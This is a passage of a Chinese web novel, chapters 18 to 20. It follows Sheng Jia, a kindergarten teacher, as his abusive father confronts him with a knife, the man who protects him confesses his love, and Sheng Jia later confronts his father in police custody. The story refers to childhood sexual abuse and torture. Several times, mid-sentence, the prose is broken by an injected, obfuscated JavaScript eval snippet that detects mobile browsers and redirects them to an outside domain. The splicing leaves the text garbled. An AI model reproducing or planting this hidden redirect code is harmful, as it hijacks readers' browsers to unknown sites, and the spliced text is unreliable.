自从前段时间盛嘉和周佳奕、周子斐去了一次游乐场,周佳奕便总记挂着出去玩。 “好啊,奕奕想去哪?”盛嘉蹲下身仰头笑吟吟地问。 “我想去吃披萨!” “没问题,盛老师明天请奕奕和舅舅吃披萨。” 盛嘉和周佳奕勾指保证,正说着话,周子斐便来了。 “盛老师,今天我可是来得很及时。” 周子斐心情看起来不错的样子,他从盛嘉手中接过周佳奕的书包,又问两人刚刚在聊什么。 盛嘉跟他说了明天的安排,周子斐欣然应允,开玩笑道:“那盛老师要小心钱包了,毕竟我和周佳奕两个人可是很能吃的。” “你们敞开了吃,肯定让你们个个都挺着肚子出餐厅。” 盛嘉笑起来,周子斐没有和他客气反倒叫他更开心。 远处正看着这一幕的蒋禾不自觉地皱起眉。 自从盛嘉请了两天假回来后,似乎这个红发年轻男人就总会在放学时和盛嘉聊很久。 虽然蒋禾清楚家长和老师沟通是再正常不过的事情,但心里还是有几分不爽。 他的视线落在盛嘉笑成弯弯月牙的眼睛和红润的唇上…… 盛嘉最近变了很多。 脸颊不再苍白憔悴,休息时不会神色黯淡地发呆,周末发去的聚餐消息,盛嘉也总是回复“抱歉,我和别人有约了”。 蒋禾有心去探寻,但盛嘉每一次都只是笑着说“是和朋友在一起”,不过多地透露什么。 于是蒋禾无能为力地感受到盛嘉离自己越来越远,尽管他们还是会午休一起吃饭,时不时聊几句,可蒋禾就是知道,盛嘉的生活多了新的人、新的事物,对方正在慢慢占据盛嘉的全部注意力。 有时候他也会控制不住阴暗地想,要是盛嘉还像几个月前刚离婚那样孤身一人、郁郁寡欢就好了,这样他就是盛嘉身边唯一能够倾诉的对象。 但…… 看到盛嘉变得越来越好,蒋禾还是放下了这份念头。 那些朦胧的好感就停留在朋友的身份上吧。 当初是他没有选择更进一步,所以现在盛嘉走向其他人也是理所当然的事。 “蒋老师,我准备下班了,今天要一起走吗?” 盛嘉的声音忽然在耳畔响起,蒋禾回过神。 他扬起一个和平常一样的笑容,摆了摆手说:“盛老师先走吧,我这还有几个小朋友的家长还没来呢。” - “周佳奕,你吃好没?吃好了让阿姨带你回去午睡一下,你下午还有兴趣班要上,别在课上睡过去了。” 周子斐见周佳奕叉子拨来拨去,一副吃不下了的样子,便准备把小孩打发走,自己再送盛嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周子斐一直话题不断地和盛嘉聊着天,盛嘉完全没有察觉到周子斐在拖延时间,直到门被突兀地砸响。 “盛嘉!你在不在家,你快救救爸,你救救爸!” 听到这声音,盛嘉应激地浑身一颤,脸上血色霎时间褪了下来。 “盛老师?” 周子斐当即握住盛嘉冰凉的手,目光担忧地看过来。 门被砸得震天响,整个房子好像在抖动。 18. 嘶哑 “盛老师,你看起来不太好,不想开门的话,我去让他走吧?” 周子斐轻轻揽住盛嘉的肩,扶着人在客厅沙发上坐下来,当即就要走向玄关,却被盛嘉拽住了手腕。 “不用了,我去吧。” 盛嘉好似缓过了神,他抬起头直视周子斐的双眼,坚决地拒绝了周子斐的提议, 他的面色苍白如纸,神情却那么平静。 周子斐眉心皱起,他知道盛千龙不是空手来的,怎么能让盛嘉去冒这个险? 可就在他还要再劝时,盛嘉却不给他任何反应时间地飞快冲向玄关,一把拉开了门,周子斐指尖只蹭到盛嘉的衣角。 “你……” 盛嘉看着面前狼狈的男人,正要开口质问,声音忽然停住。 盛千龙双眼浑黄,带着一种被逼到绝境的疯狂,默不作声地走到屋子里,盛嘉只能一步步往后退,因为他看见了盛千龙手上的东西。 是一把雪亮的菜刀。 “你要干什么?” 盛嘉被一股极大的力道扯到身后,只见周子斐宽阔的后背正挡在他跟前,盛嘉看不见周子斐的表情,但从周子斐冰冷的声音里,他能听出,周子斐现在正处于暴怒的边缘。 为什么他生气了? 现在不是去思考这个问题的时候,可这个问题确实一瞬间在盛嘉纷乱的心神中占据了上风。 “嘉嘉,你救救爸,这次我真的没办法了,我欠了太多了,我再还不上,我就要去坐牢了!” “那个人还要安排牢里的人教训我,我、我挨不住的,我不想进去,我会死的!” 盛千龙声音恐慌,而讽刺的是,他握刀的手竟然一点都没有颤抖。 三人在对峙之间,来到了阳台上。 “你欠了多少?”周子斐问。 他不让盛嘉露面,再加上他本就比盛嘉高一些,此刻盛嘉被他护在身后,挡得严严实实。 “你、你能帮我还吗?你是不是可以帮我还?不多的,真的不多,就两百万,很少,真的!” 盛嘉忍不住道:“没人会给你还的,你就去坐牢吧,坐一辈子牢,最好永远也别出来!” “你他妈给我闭嘴!你个白眼狼,生你有什么用,老子真该打死你,都怪你!” “还不如女儿好,至少女儿还能出去卖个好价,你一个男的——” 盛千龙的怒喝声顿住,他面前这个高大的红发男人神情变得极其恐怖,令盛千龙一下子如同被扼住喉咙,半点声音都不敢发出。 盛嘉只觉得被一股热血冲上头顶,盛千龙竟然还想过卖他,是怎么卖,卖了他房间那些视频和照片不够,还要卖什么? 他无法控制地想到童年地下室里盛千龙所做的事。 “你用刀威胁我要两百万,我要是给你了,你就是敲诈勒索,你知道你会被判得更重吗?” 周子斐察觉到身后人的异样,他握住盛嘉的手腕,温暖干燥的掌心贴着那急剧跳动的脉搏,声音不咸不淡地和盛千龙周旋着。 他本想自己去开门,再随便被盛千龙划一刀,故意伤人加上勒索,够盛千龙量刑加倍的了。 但没有想到盛嘉会直接冲过去,当时他又惊又怒,生怕盛嘉会被盛千龙捅上一刀。 “你、你不会告我的对吧?你是不是和我儿子搞在一起了?你帮我,不就是在帮他了吗?” 盛千龙见周子斐不说话,细细看了一下周子斐,发现这人和余向杭那小白脸完全不同,以为对方是和自己一样对男的没想法,于是他眼珠子一转,嘿嘿笑起来,开口: “我这儿子不仅长得漂亮,而且从小就听话,你把他当女孩儿睡没问题的!” “你给我两百万,我就把他给你了,我保证,你给了钱,你想怎么玩我这儿子就怎么玩,我绝对不会出现打扰你们!” 他语气里带着某种意味不明的狎昵,完全将盛嘉当做货物在售卖。 盛嘉浑身发冷,所有的愤怒、怨恨、憎恶一起激上心头,他呼吸发抖地四处看,最终锁定在花盆上,弯腰一把拿起,就要狠砸过去时,却“砰”的一声,响起了玻璃碎裂的声音。 “啊!” 盛千龙惨叫起来,额前疼痛无比,有滴滴答答的血液顺着往下流,让他眼前一片模糊。 “闭上你的嘴。” 周子斐的语气极其阴沉,盛嘉不自觉看过去。 只见周子斐正将手举在半空中,那只手的手背暴起了根根青筋。 对面盛千龙倒在了地上,血大股大股地从他脑袋上涌出,染红了雪白的瓷砖地面,而一旁是玻璃杯的碎片。 血液顺着砖缝蜿蜒流淌,盛千龙被砸得很严重。 盛嘉先是感到痛快,可转而依然是恨,恨到希望面前的人立刻去死。 于是他挣开周子斐的手,拿着花盆一步步走过去,有碎土掉在地上,小木槿的花瓣在空中晃动。 “盛老师,别!” 就在盛嘉要砸下去时,他被周子斐拉住了胳膊。 “你放开我!我要砸死他,我要让他去死!” “不行!盛嘉,你冷静一点,警察马上就会来了,你不能再动手了!” “为什么不行,为什么你可以砸他我不可以,你放开我、放开我!” 盛嘉不停挣扎,他双目发红,死死盯着已经陷入昏迷的盛千龙。 他恨啊,他好恨。 被关在地下室的那几年,还有身上数不清的疤…… 为什么他不可以让这个人去死,为什么要拦着他? 他就是想将盛千龙砸死、砍死、杀死,恨到盛千龙哪怕死了,他也要一遍遍地去撕扯这个人的尸体。 周子斐知道盛嘉的不甘心,知道他所有的痛苦。 在盛千龙脱口而出“我这儿子长得很漂亮的,而且从小就听话,你把他当女孩儿睡没问题的!”时,他已经隐约猜到盛嘉身上更多不为人知的遭遇。 但是不行,他不能让盛嘉出手,现在出手,盛千龙真的会死,而盛嘉会被定罪的。 盛嘉是最干净的一捧雪,是严寒中的一支红梅。 他要盛嘉永远干干净净地活在这个世界上,他要盛嘉幸福地享受余生,而不是为了一个盛千龙搭上一切。 “周子斐你放手!放手!我恨你,我恨你!你放开我!” “你跟他是一伙的,你跟他们是一伙的,你也会欺负我,你们都是这样!” 被周子斐牢牢控制在怀里动弹不得,盛嘉更气。 他瞪大了眼睛,声音嘶哑,像个孩子般失控地、歇斯底里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219971|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地大喊大叫,满脸都是湿润的泪,所有的话不受控制地冒出来: “你骗我!连你也在骗我!” “你就是想看我发疯,你看我这么狼狈,你很高兴对吧?为什么要这么折磨我,我想好好地生活有错吗?为什么都要这么对我!” “我也是人啊,我会痛的,我已经很努力了,我什么都可以原谅,我什么都没有了,我就想有个人可以真心对我,这样都不可以吗?” “凭什么,凭什么是我,凭什么——” “你告诉我,凭什么总是我被抛弃、被伤害!?” 盛嘉已经彻底失去了理智,他不知道自己到底在对着谁说这些话。 是周子斐,还是盛千龙,又或是余向杭,还是上天? 从一开始他就在忍,他忍了太久。 陆荷和盛千龙离婚要走时,他想说:“妈妈,能不能也带我走,我很乖,吃得也很少,不会花你很多钱的。” 盛千龙猥.亵、家暴他时,他想说:“爸爸,你在我过生日的时候说会一直保护我,我是你的儿子啊,你不要伤害我。” 余向杭和人出轨、无数次漠视他时,他想说:“你忘了你从前发誓要永远爱我吗,才过去六年,为什么就变心了?” 他自欺欺人地告诉自己,一切都没关系的,总会好的,他用疼痛警醒自己,不要沉湎于消极的情绪中,要坚持下去。 但现在,盛嘉撑不住了。 他实在很想问一问所有人,问一问所谓的命运,凭什么是他经历这一切? 为什么不能有个人无论何时都会站在他的身边,告诉他“别害怕,我还在这里陪你”? …… “我只是心疼你。” 沙哑的声音忽然打断了他的话,盛嘉猛地一颤,声音当即卡住。 隐约有预感周子斐会说一些他不敢再去触碰的事。 于是他莫名害怕起来,下意识就要捂住耳朵站起身逃跑。 但周子斐的动作更快,他伸长手臂一把将人拉住,盛嘉猝不及防跌在坚实臂弯之中。 “你的眼泪,你委屈的样子,你伤心的样子,我看见了就会很难受很难受。” “我只是想让你幸福,想让你开心,不想让你背负着罪名活着,更不想你一辈子都被他们带来的阴影笼罩。” 周子斐继续开口,他紧紧将盛嘉抱在怀里,不给盛嘉任何逃离的机会。 他抱得很用力,宽阔的胸膛和发抖的后背没有一丝缝隙地相贴,盛嘉的腰被勒着,瘦弱的上身被挤压得肩头耸起。 “什么……” 盛嘉僵在温暖的怀抱里愣愣流泪,语气颤抖,不知所措地问。 而周子斐一字一句,穿云裂石般回答: “我喜欢你,从认识你的那天起,我就在喜欢你,所以别讨厌我好不好?” “我只是想爱你、疼你。” 盛嘉还是听到了这个不敢去听的回答。 楼下响起警笛,有人高声说:“就是这栋楼,那个男的拿刀要砍人!”,盛千龙也从昏迷中醒过来,痛苦地呻吟。 明明四周如此嘈杂,但盛嘉此刻却只能听到剧烈的心跳声。 以及,“轰隆”一声—— 他心中那面摇摇欲坠的高墙彻底倒塌。 19. 转折 “轰隆”一声—— 余向杭仿佛被雷电击中,一直以来的有恃无恐如同被挖土机一铲子挖倒的墙壁,残渣纷纷杂杂地落了满地。 他难以置信地反问:“你说什么?” “我说,我要和你分手。” 陈乐康坐在沙发上再次强调,余向杭彻底懵了。 随后,他反应了过来,猛地拿起靠枕砸过去。 “现在是我发现了你出.轨,你怎么好意思说你要和我分手?!” 余向杭气得脸涨红,他今天傍晚下班刚回家,陈乐康就一头钻进了浴室洗澡。 这种连续了一周的异常行为让余向杭不禁起了不好的猜测,于是他就悄悄翻了陈乐康的手机,原本他是不屑于做这种事的,可怎么也没办法放心。 因为陈乐康最近的一言一行和他当初太像了,放不下的手机,频繁的外出,没什么激情的床.事…… 所以在余向杭看到手机里的暧昧消息时,他的第一反应是“果然如此”。 等陈乐康出来后,他正要提这事,陈乐康就一把夺回了手机,像吃饭喝水一样平淡地说要分手。 “我怎么不好意思,当初你连离婚都能做到,我们分个手又算什么大事?” 陈乐康偏头躲过那个靠枕,依旧语气如常。 “我——” 余向杭想要反驳,却哑口无声。 “行了,瞧你这慌得不行的样子,你不想分就不分呗。” 陈乐康笑起来,像无事发生一样站起来伸了个懒腰。 余向杭被他的话弄懵了,什么叫“不想分就不分”? 陈乐康他可是出.轨了啊,他背叛了自己,他找了别人,难道不应该分手吗? “等等!你什么意思,你干什么表现得好像是我在无理取闹一样?” “陈乐康,你给我把话说清楚,你要是喜欢上了别人,你就老老实实告诉我,我也不是那种会纠缠的人!” 余向杭一把拉住陈乐康的手,止住这人要去卧室的脚步。 陈乐康转过身,他嗤笑一声道:“我没喜欢别人,我就是单纯和你在一起腻了,想换个人玩玩。” “想换个人玩玩?你当我们之间的关系是什么?” 余向杭捏紧了陈乐康的手腕,他双眼盯着对面人似笑非笑的脸质问。 “我们之间不也是玩玩吗?难不成你还想我和你在一起一辈子?” 余向杭听闻,只觉得胸口滞痛,他脱口而出:“玩玩?你知不知道我都为了你离婚了,你现在跟我说玩玩?” “陈乐康你有没有心啊,你——” 陈乐康的脸色冷下来,他开口打断:“你搞清楚好不好,不是我叫你离婚的,是你自己急着要离婚的。” “我怎么就急着要离婚了?”余向杭反问。 “你不急着离婚,你几次三番叫我去你家和你做?你不就是等着你前夫发现,然后你好提离婚吗?” “离婚当天还要在车上缠着我,你别跟我说你是被迫离婚的。” 余向杭只觉得太阳穴直跳,他拿话刺陈乐康:“是你当初主动靠近我的,如果不是你总找我,我又怎么会和你出.轨,然后离婚,你现在拍拍屁股什么都不承认就想走了?” 陈乐康气上心头,见余向杭一副理直气壮的样子,他难听的话张口就来。 “余向杭你装得这么高尚给谁看呢?” “我们第一次上床明明是你说要的,你嘴上说你爱你丈夫,结果转头就抓着我裤子不放。” “离婚后还好意思跟我说都是盛嘉不好,你哪来的脸把错全推别人身上的?” 陈乐康甩开余向杭的手,拿起手机就要走,余向杭根本拦不住他,只能不停朝他扔东西。 “陈乐康你今天走了就再也别回来了!” “我会去找别人,你永远别想和我在一起了!” 陈乐康脚步一顿,他转头朝余向杭假模假样地笑了一下。 “我求之不得,你想找谁找谁去吧,我还不想跟你这二手货在一起呢,你身上的廉价味熏得我想吐!” 碰的一声,余向杭一个烟灰缸砸在了陈乐康已经甩上的门上。 屋子里静了下来,只剩遍地狼藉。 余向杭的肩头垮了,他坐在沙发上捂住自己的脸,痛苦地想为什么会这样? 是陈乐康爱上别人了吗? 是陈乐康变了吗? 还是…… 从一开始他答应离婚就错了? - “后续如果还有什么问题我们会联系你们的。” “好的,谢谢你们能及时赶到。” 盛嘉没有说话,他任由周子斐处理这些事,除了做笔录时说了几句话,其余时候,盛嘉只是低着头。 现在做完笔录出来了,盛嘉依旧沉默,但周子斐就像什么都没有发生过一样,对他的态度还是像从前一样。 不,还是有区别的。 盛嘉的视线落在右手,周子斐一直牢牢地牵着他的手,他的力道不大,却始终没有松开。 温暖而干燥的掌心贴在盛嘉冰凉的手上,令盛嘉恍然间觉得,他们好像已经在一起了。 他是怎么来得警察局,已经毫无印象,只记得在周子斐告白之后,他便处于失神的状态,耳朵里听到的都是轻微的嗡鸣,眼前能看到的都是大片空白。 再清醒过来,他已经坐在了询问室里,对面一个女警正有些担忧地看着他,而他的手里被推了一杯热茶,周子斐的眼神里也带着隐忧。 “盛老师今晚咱们不能回家了,现场被保护起来了,他们让我们先不要回去。” 周子斐声音轻缓地开口,他将盛嘉的外套拉链拉起来。 秋天天黑得快,外面已经暗了下来,气温也骤降。 “回家?”盛嘉嗓音干涩地问。 他的家在哪里? 那只是一个房子,一个暂时落脚的房子,不是他的家。 周子斐将盛嘉被风吹得凌乱的头发捋好,又像对待小孩子一样,揉揉盛嘉的脑袋,开口道:“要不要去我家,先在我家住一晚,明天我陪你回去。” 盛嘉没有说话,周子斐也不再多问,直接叫了司机过来接,最后带人去了自己的一处小公寓。 到了地方,周子斐叫人送了点热饭热菜,但盛嘉也没吃多少,他没有叫盛嘉再吃点,只是给盛嘉拿了干净的衣物,让盛嘉洗个热水澡早点休息。 晚间盛嘉躺在床上,依然觉得好像在梦里,整个人都轻飘飘的。 其实他的情绪没有那么糟糕,只是很累。 那一通声嘶力竭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219972|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的质问似乎把他的内里掏了个干净,让他一时之间变得很空虚,疲惫得什么反应也做不出。 所有的想法挤压了太久,一旦被撕开一个口子,就止不住地想要全部说出来。 他原本以为不需要谁来懂他,也不需要理解,所有的话只是宣泄而已,可周子斐偏偏什么都明白。 周子斐在说完那句“我喜欢你”后,他什么也没再提,他握着盛嘉的手,表明他不在意那些尖锐的话,他说带盛嘉回家住,也不过想让盛嘉有个暖和舒适的地方能好好休息。 于是盛嘉发现,他还是想有人能看穿他所有故作冷静的伪装,想有人能无声地表明不会离开他。 盛嘉翻了个身,在被子里蜷缩着抱住自己,慢慢闭上眼睛。 睡一觉就好了,明天他会好的,他只是需要休息一下。 …… 盛嘉不知道自己睡了多久,等他有意识的时候,依旧是半梦半醒的。 只感觉到一只温暖、宽大、掌心有薄茧的手,正在摩挲他的脸颊,那种感觉很舒服,也令人很安心,盛嘉不自觉地将脸蹭上去。 直到他听见有人在轻声叫他的名字。 “盛嘉,醒醒。” “宝贝醒醒,不能再睡了。” 那语气里的无限包容和温柔让盛嘉愈发不想睁开眼,他轻哼了一声,想让人继续抚摸自己的脸颊,但那人却起身离开了。 有光线落在盛嘉眼皮上,明亮的日光照得盛嘉终于皱起眉,睁开了双眼。 周子斐正坐在床边低头看他,一手轻轻按在他的发顶。 盛嘉一愣,面前人目光缱绻安静,带着盛嘉所不习惯的直白关心。 “盛老师,已经下午一点多了,不能再睡下去了。” 周子斐手背和指尖轻缓地从盛嘉额角流连至下巴处,他声音很柔和,是一种哄慰的语气。 盛嘉下意识将脸别开,整个人往被子深处埋,竟然感觉有些不好意思。 “盛老师先起床收拾一下吧,等会儿吃面可以吗?” “嗯……” 盛嘉藏在被子里小声应了一句,随后听见脚步远去和关门的声音,他这才坐起身下床,脚步虚浮,视线发晕,太阳穴涨痛,他险些没站稳。 走进卫生间后,冷水扑在脸颊上,带来一丝清醒,盛嘉抬头看向镜中的自己。 水珠沿着瘦削的两腮滚落,面色苍白,眼睛发肿,大概是昨天哭了太久。 他扯开衣领看自己的旧疤,又卷起衣袖抚摸凹凸不平的皮肤。 看着镜子里那个狼狈不堪的人,盛嘉苦笑着问: “你喜欢我什么呢?我有什么可喜欢的?” 我比你大十岁,我身上都是疤,我有一段失败的婚姻,我无法接受床上过于亲密的情.事。 我什么都不能给你。 为什么要喜欢我? 周子斐突如其来的告白让盛嘉第一次在和盛千龙接触后,想到的不是往事,而是另一个人的心情。 盛嘉深吸一口气,他想他必须和周子斐说清楚,他不能和周子斐在一起。 推开房门,周子斐正站在餐桌前打电话,盛嘉张唇欲要开口,只见面前的人转过身,神情严肃地看着他。 “盛老师,有人报警说盛千龙诈骗,警局叫我们过去。” 20. 拥抱 面条是鸡汤清面,上面卧了一个蛋黄流出的荷包蛋,一旁是翠绿的青菜,桌上还有几碟开胃小菜。 盛嘉本来没什么食欲,随便挑了几筷子就想赶快去警局。 但周子斐坐在桌前吃得认真,大有要全部吃干净再走的架势,而周子斐还时不时问他怎么不吃,是不是面不好吃。 他根本没办法开口催促,只能坐在桌前老实吃面,不知不觉间,倒也把一碗面全吃完了。 空虚的胃被食物填满,盛嘉站起身时也不再眼前发晕、脚步发软。 周子斐见盛嘉惨白脸颊恢复了一点血色,甚至捂住嘴没忍住小小地打了一个嗝,这才唇角浅浅勾起,和人出了门。 他们到了警局后,先和报警的人见了一面。 “你们是盛千龙家里人?” 男人视线先是看向周子斐,见周子斐面色平静,没有任何反应,他便自然地转开,落在盛嘉身上。 “我是他儿子,但是我们基本上不联系,他欠了多少钱?” 盛嘉同样没见多少慌张,他早已经想到会有这么一天。 “一百二十万。” 听到这个金额,盛嘉的手指轻微抽搐了一下,他没有说话。 周子斐皱眉看向男人,男人很快心领神会。 “这钱对我来说不是什么很大的数量,我也马上就能赚回来,但盛千龙这人我是一定要送进去的,你们家属跟我说什么都没用,就算能还给我,我也不要!” 男人愤怒地开口,似乎憎恶极了盛千龙。 盛嘉对盛千龙和这个男人之间有什么矛盾并不好奇,他也不想知道,此刻他无法抑制地激动起来。 他的呼吸变得急促,每一个细胞都在叫嚣着让盛千龙进监狱,最好死在牢里! “盛老师?” 周子斐轻声开口询问,手掌覆盖在盛嘉的手背上,随即便被盛嘉反手紧紧握住。 盛嘉握得很用力,指尖陷入周子斐的掌心之中,带着战栗和发冷的温度。 “我知道,我不会上诉,也不会求情,更不会替他还钱,一切按照法律程序来就可以。” 男人只见这个身形瘦弱、五官秀丽的盛先生抬起头,那双初觉温柔的眼睛里迸发出某种血腥的决绝。 和男人达成共识后,警员又问盛嘉要不要再和盛千龙见一面,如果不见面的话,盛千龙下周就会被送到法院,之后大概就只能去监狱探望了。 “好,我想和他再见一面。” 盛嘉拒绝了周子斐的陪同,一个人走进了留置室。 小房间内光线并不明亮,只有头顶一盏白炽灯,而盛千龙坐在椅子上显得格外焦躁,在看见盛嘉时,他猛地就要扑过来,却被牢牢地拷住。 盛嘉发现自己并没有多少害怕的情绪,他冷静地拉开椅子,随后坐在盛千龙面前,打量这个人。 其实盛嘉和盛千龙长得不太像,盛嘉更像母亲陆荷,面部线条秀气,还有一双天生含笑的眼睛。 “盛千龙,你马上就要进监狱了。” 盛嘉的声音很柔和,又因为幼师的工作,语气总是习惯地放缓。 这句温柔的话却好似一个地雷在盛千龙耳边炸起,他立刻冲盛嘉吼道:“你闭嘴!盛嘉你赶快想办法救老子出去,不然你看我打不打死你!” 盛嘉没有像从前一样应激地浑身发抖,他浅浅笑起来。 “我也没办法救你啊,一切都是你自己的选择,所以你还是想想自己以后在监狱里怎么生活吧。” “你、你不救我,我就把你之前那些照片和视频全部传出去,那个红头发的小子不知道这事吧,我就跟他说、说你也不过是个被人看光了摸光了的烂货!” 盛千龙口不择言起来,然而他不知道这里的一切都会被实时录像,屋外的警察听到这句话,纷纷又动了起来。 利用个人隐私进行敲诈勒索,盛千龙的犯罪事实再次增加证据。 盛嘉听到这些话没有开口,他默默卷起袖子,两条伤痕累累的手臂暴露在空气中。 “你还记得吗,这里,是我十岁那年你第一次拿烟头烫的。” “这里,是你把我关在地下室压在地上,我反抗的时候,你拿刀划的。” “还有这里——” 盛嘉扯开衣领,他手指颤抖地按在那两道凸起的肉色疤痕上。 “是你被我发现在房间按摄像头时,拿刀砍的。” 盛嘉站起身,几步走到盛千龙身边,一手掀起上衣,露出腰腹烫伤,一手死死按着盛千龙的头,逼他看经年伤疤。 “这里最痛,当时你拿热水壶按上去的时候,我能清楚地闻到皮肉被烤焦的味道。” 盛千龙浑浊的眼睛里有一瞬出现了惊讶和迷茫,似乎在说,这是我做的事吗? 这是我对自己儿子做的事吗? 盛嘉没有难过,没有痛苦,他只有愤怒。 无边无际的愤怒,他从来不知道自己的心里有这么多的愤怒。 “你怎么能不记得,你可是我爸,你对你儿子做的这些事都不记得了吗?” “盛千龙,我不会救你,我永远不会救你,你说我是烂货,没错,我就是烂货,但是你马上会变成比我还烂的烂货!” “你会在监狱里待个十几年,说不定哪天你就会破破烂烂地死在监狱里!” 盛嘉扯着盛千龙的头发,用力将他的头往后拽,让人直视自己,那力道大得令盛千龙嚎叫起来。 “松手!你给老子松手!” “我怎么不记得我打你的事,当初你跟条死狗一样躺在我脚底下,现在又找了个男人,就有胆子跟我动手了?” “我马上就告诉你男人你是个小时候就被我摸光了的脏东西,我跟他说余向杭!跟他说余向杭搞你的事!我看他还跟不跟你在一起!” 盛嘉听到自己身体发出噼里啪啦的被点燃的声音,他收紧手指,猛地将盛千龙的头按下去,发狠撞在桌面上,发出“砰”的一声巨响。 一声。 两声。 三声。 盛嘉第一次觉得自己和盛千龙之间也有相似之处。 他在渴望用暴力抵消伤害。 这幅场景曾在他的大脑里上演了无数次,但如愿听到声声嚎叫,他竟无法感到痛快。 身体里有一只野兽在咆哮,不断叫嚣着: 让盛千龙同样感受一下他所经历的疼痛。 但它也在撕扯着盛嘉的内心,令盛嘉越发疼痛。 就在他双眼通红地还想再继续时,门被推开了。 “不能动手!” “盛老师!” “快看看犯人有没有事!” 房间里一片嘈杂,警察和周子斐闯进来,先将盛嘉拉远了,又有人去看盛千龙。 盛千龙什么事都没有,额头红了一片,鼻下冒出鼻血,还有力气喊“杀人了!”。 而盛嘉先是死死盯着盛千龙,在看见那张流着鼻血的脸时,浑身一颤。 随后开始浑身痉挛抽搐,他的呼吸声深而急促,眼泪流了满脸,脸色煞白,手指僵硬成鸡爪状蜷在一起,捂着胸口。 “宝贝、宝贝,放松,别激动,来,我带你出来。” 周子斐半抱半扶地将盛嘉带出小房间,又让人靠在自己怀里。 “宝贝憋一下,数三秒,好,深呼吸,再慢慢地吐气,不要急。” “做得好,我们再试一次……” 周子斐后背被冷汗浸湿,他抱着盛嘉的手臂发抖,但面上一片冷静柔和。 他的手掌捂住盛嘉的口鼻,让人止住过度换气,又轻拍盛嘉的背部。 直到看见盛嘉剧烈的喘气声慢慢平息下来,发紫的唇变成正常的颜色,他高高吊起的心才终于回落。 “我们坐一下,身体前倾,没关系,不会摔的,我会扶着你的。” 听到这话,盛嘉原本扯着周子斐袖子的动作才松开,随后冰冷的手也被周子斐包在掌心握住。 胸口的疼痛逐渐褪去,盛嘉的冷汗还是在一刻不停地往下流,白腻的后颈沾着湿淋淋的发丝,显得格外狼狈。 盛嘉想,周子斐还是知道了。 他没有向任何人袒露过的过往还是被知道了。 他不后悔,他就是要让盛千龙亲口承认所做的事,让盛千龙当着所有警察的面承认那些事,盛嘉要用尽所有办法让盛千龙在牢里待得更久。 但他还是高估了自己的承受能力,他以为抓着盛千龙头发往桌上撞时,他会收获复仇般的快乐。 可在看见盛千龙脸上鲜血时,他的大脑里飞快闪过的是过去那个受伤的自己。 幼年的盛嘉以恐惧的目光看着他,以至于盛嘉觉得自己也变成了另一个“盛千龙”,一个残暴、以伤害他人为乐的“行凶者”。 “盛老师,好点了吗?” 胡思乱想之际,盛嘉脸庞被人用手掌捧起,他抬眼看向前方—— 周子斐正蹲在面前关心地注视着他,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219973|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手没有一丝缝隙地和他被汗水、泪水染湿的脸颊相贴。 他们靠得很近,彼此之间不过一掌距离。 盛嘉睫毛一眨,眼泪又冒了出来。 “盛老师刚刚可是把欺负你的人打了一顿,而且这个人还会被关进监狱,不应该开心吗?” 周子斐指腹抹去盛嘉的眼泪,轻笑着开口,试图让盛嘉能放松一点。 但盛嘉还是无声地流泪,他不明白为什么周子斐还要留在这里,还要抚摸自己脏兮兮的脸颊。 于是他就这样望着周子斐,眼睛却肿得连面前人的表情都看不清。 “盛老师,你能坚强地长大,长成一个温柔又强大的人很不容易。” “你已经做得非常好了,你非常棒,这次你保护了过去的自己,这是件很好很好的事。” 周子斐低头靠近,和盛嘉额头相触,眼里是比白云还要柔软的轻怜爱意。 听到周子斐的话,他含糊地否认。 “不、不是……我不好……我打了他……” “我没控制住、我……我和他一样……我不好……” 盛嘉的嘴唇忽然被按住,周子斐的大拇指正压在上面,他的动作止住了盛嘉的话。 随后盛嘉感知到周子斐扑在面上湿热的呼吸,他们靠得更近了。 好像接下来的话非常重要,也不容盛嘉躲避,必须要一字一句都要听清楚。 “不,盛嘉你听好,你和盛千龙完全不一样。” “他是冷血没有心的垃圾,而你有一颗柔软温暖的心脏,它就在这……” 周子斐另一只手按压在盛嘉胸口,嗓音低沉温和。 “扑通、扑通,你听到了吗,这里住着很多人,你永远都是会爱人、关心别人的,你怎么会和他一样呢?” 盛嘉跟随着周子斐的声音,同样将手放在了胸口处,不断敲击掌心的心跳仿佛是无数个人在他的身体内部朝外拍打,他们那样急切,急切着说些什么。 周子斐和盛嘉五指交缠,共同感受那还在活跃的心跳。 “你知道他们在说什么吗?” “他们在说……盛嘉,不许你说自己不好。” “你是全世界最坚强、最勇敢的小孩。” 